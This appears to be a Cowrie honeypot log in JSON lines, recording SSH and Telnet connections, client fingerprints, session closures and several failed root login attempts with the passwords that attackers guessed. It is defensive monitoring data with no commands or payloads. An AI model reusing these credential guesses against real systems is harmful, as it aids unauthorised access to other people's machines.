{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:25.628841Z","src_ip":"50.7.136.106","session":"37ef2213102b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:25.877400Z","src_ip":"50.7.136.106","session":"37ef2213102b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:26.964384Z","src_ip":"50.7.136.106","session":"37ef2213102b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b363842b49cb","protocol":"telnet","message":"New connection: 50.6.8.71:49784 (10.17.0.5:23) [session: b363842b49cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:28.237217Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35450,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d5250334d70","protocol":"ssh","message":"New connection: 89.223.69.22:35450 (10.17.0.5:22) [session: 4d5250334d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:28.396565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:28.402575Z","src_ip":"89.223.69.22","session":"4d5250334d70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:28.516591Z","src_ip":"89.223.69.22","session":"4d5250334d70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:28.884058Z","src_ip":"89.223.69.22","session":"4d5250334d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:30.000910Z","src_ip":"89.223.69.22","session":"4d5250334d70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.068552017211914,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:33.721217Z","src_ip":"50.6.8.71","session":"d715fd931cda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.67409038543701,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:34.240736Z","src_ip":"50.6.8.71","session":"b32b94552904","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.12330079078674,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:34.488185Z","src_ip":"50.6.8.71","session":"a24357eb1848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36938,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a778b9a8491","protocol":"telnet","message":"New connection: 50.6.8.71:36938 (10.17.0.5:23) [session: 4a778b9a8491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:42.445478Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36948,"dst_ip":"10.17.0.5","dst_port":23,"session":"18c3e32585bf","protocol":"telnet","message":"New connection: 50.6.8.71:36948 (10.17.0.5:23) [session: 18c3e32585bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:44.265016Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53510,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ed07f575187","protocol":"telnet","message":"New connection: 50.6.8.71:53510 (10.17.0.5:23) [session: 4ed07f575187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:46.358389Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36926,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cb601c0d2c","protocol":"telnet","message":"New connection: 50.6.8.71:36926 (10.17.0.5:23) [session: 02cb601c0d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:47.758010Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":53518,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb5405b5240","protocol":"telnet","message":"New connection: 50.6.8.71:53518 (10.17.0.5:23) [session: 4cb5405b5240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:52.516285Z"}
{"eventid":"cowrie.session.closed","duration":32.870938777923584,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:53.236360Z","src_ip":"50.6.8.71","session":"16eba2abd41a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37794,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2ed410f087","protocol":"telnet","message":"New connection: 50.6.8.71:37794 (10.17.0.5:23) [session: 8a2ed410f087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:04:58.513134Z"}
{"eventid":"cowrie.session.closed","duration":38.4263870716095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:06.663492Z","src_ip":"50.6.8.71","session":"b363842b49cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60372,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fecc4eab3d4","protocol":"telnet","message":"New connection: 50.6.8.71:60372 (10.17.0.5:23) [session: 0fecc4eab3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:09.195242Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60380,"dst_ip":"10.17.0.5","dst_port":23,"session":"49b1b4e06504","protocol":"telnet","message":"New connection: 50.6.8.71:60380 (10.17.0.5:23) [session: 49b1b4e06504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:11.823060Z"}
{"eventid":"cowrie.session.closed","duration":31.499101877212524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:17.857387Z","src_ip":"50.6.8.71","session":"4ed07f575187","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.960288524627686,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:18.405635Z","src_ip":"50.6.8.71","session":"4a778b9a8491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":42273,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6f8d532315","protocol":"ssh","message":"New connection: 201.77.124.248:42273 (159.203.135.109:22) [session: fa6f8d532315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:18.997674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:19.003409Z","src_ip":"201.77.124.248","session":"fa6f8d532315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:19.140641Z","src_ip":"201.77.124.248","session":"fa6f8d532315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:19.717035Z","src_ip":"201.77.124.248","session":"fa6f8d532315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:20.855659Z","src_ip":"201.77.124.248","session":"fa6f8d532315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.816959381103516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:23.333072Z","src_ip":"50.6.8.71","session":"4cb5405b5240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5560359954834,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:24.313915Z","src_ip":"50.6.8.71","session":"02cb601c0d2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.184988498687744,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:26.449895Z","src_ip":"50.6.8.71","session":"18c3e32585bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46298,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de4a8ae4fc4","protocol":"telnet","message":"New connection: 50.6.8.71:46298 (10.17.0.5:23) [session: 7de4a8ae4fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:27.259330Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":55440,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da8aa032ff1","protocol":"ssh","message":"New connection: 103.82.132.16:55440 (159.203.135.109:22) [session: 8da8aa032ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:28.924741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:28.928725Z","src_ip":"103.82.132.16","session":"8da8aa032ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:29.186992Z","src_ip":"103.82.132.16","session":"8da8aa032ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:29.964692Z","src_ip":"103.82.132.16","session":"8da8aa032ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46300,"dst_ip":"10.17.0.5","dst_port":23,"session":"352a628e8cff","protocol":"telnet","message":"New connection: 50.6.8.71:46300 (10.17.0.5:23) [session: 352a628e8cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:30.513569Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46314,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a08c4fdab5","protocol":"telnet","message":"New connection: 50.6.8.71:46314 (10.17.0.5:23) [session: 05a08c4fdab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:30.857788Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:31.226771Z","src_ip":"103.82.132.16","session":"8da8aa032ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.5738582611084,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:40.086890Z","src_ip":"50.6.8.71","session":"8a2ed410f087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58762,"dst_ip":"10.17.0.5","dst_port":23,"session":"a83c991c7633","protocol":"telnet","message":"New connection: 50.6.8.71:58762 (10.17.0.5:23) [session: a83c991c7633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:40.531078Z"}
{"eventid":"cowrie.session.closed","duration":32.44939947128296,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:44.272336Z","src_ip":"50.6.8.71","session":"49b1b4e06504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":39948,"dst_ip":"10.17.0.5","dst_port":23,"session":"f616da90b633","protocol":"telnet","message":"New connection: 50.6.8.71:39948 (10.17.0.5:23) [session: f616da90b633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:47.279674Z"}
{"eventid":"cowrie.session.closed","duration":46.14732003211975,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:55.342338Z","src_ip":"50.6.8.71","session":"0fecc4eab3d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38586,"dst_ip":"10.17.0.5","dst_port":23,"session":"56cde6236971","protocol":"telnet","message":"New connection: 50.6.8.71:38586 (10.17.0.5:23) [session: 56cde6236971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:56.061902Z"}
{"eventid":"cowrie.session.closed","duration":32.6843786239624,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:05:59.943465Z","src_ip":"50.6.8.71","session":"7de4a8ae4fc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.936939001083374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:01.794629Z","src_ip":"50.6.8.71","session":"05a08c4fdab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56415128707886,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:06.077625Z","src_ip":"50.6.8.71","session":"352a628e8cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38590,"dst_ip":"10.17.0.5","dst_port":23,"session":"08cf34d5456e","protocol":"telnet","message":"New connection: 50.6.8.71:38590 (10.17.0.5:23) [session: 08cf34d5456e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:07.761593Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56464,"dst_ip":"10.17.0.5","dst_port":23,"session":"245b18599229","protocol":"telnet","message":"New connection: 50.6.8.71:56464 (10.17.0.5:23) [session: 245b18599229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:07.809547Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed4684cd6669","protocol":"telnet","message":"New connection: 50.6.8.71:56478 (10.17.0.5:23) [session: ed4684cd6669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:13.131966Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":56490,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8f22b8cea2","protocol":"telnet","message":"New connection: 50.6.8.71:56490 (10.17.0.5:23) [session: 5b8f22b8cea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:13.398343Z"}
{"eventid":"cowrie.session.closed","duration":33.444793701171875,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:13.975775Z","src_ip":"50.6.8.71","session":"a83c991c7633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45046,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba18790ea5f","protocol":"telnet","message":"New connection: 50.6.8.71:45046 (10.17.0.5:23) [session: dba18790ea5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:28.434238Z"}
{"eventid":"cowrie.session.closed","duration":44.787514209747314,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:32.067094Z","src_ip":"50.6.8.71","session":"f616da90b633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51992,"dst_ip":"10.17.0.5","dst_port":23,"session":"2202d53fe5f7","protocol":"telnet","message":"New connection: 50.6.8.71:51992 (10.17.0.5:23) [session: 2202d53fe5f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:36.813103Z"}
{"eventid":"cowrie.session.closed","duration":42.011308908462524,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:38.073079Z","src_ip":"50.6.8.71","session":"56cde6236971","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817319869995117,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:38.578804Z","src_ip":"50.6.8.71","session":"08cf34d5456e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.693867206573486,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:40.503302Z","src_ip":"50.6.8.71","session":"245b18599229","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.529725551605225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:44.927952Z","src_ip":"50.6.8.71","session":"5b8f22b8cea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":51998,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de09efc4208","protocol":"telnet","message":"New connection: 50.6.8.71:51998 (10.17.0.5:23) [session: 1de09efc4208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:45.254660Z"}
{"eventid":"cowrie.session.closed","duration":35.71735739707947,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:06:48.849225Z","src_ip":"50.6.8.71","session":"ed4684cd6669","protocol":"telnet"}
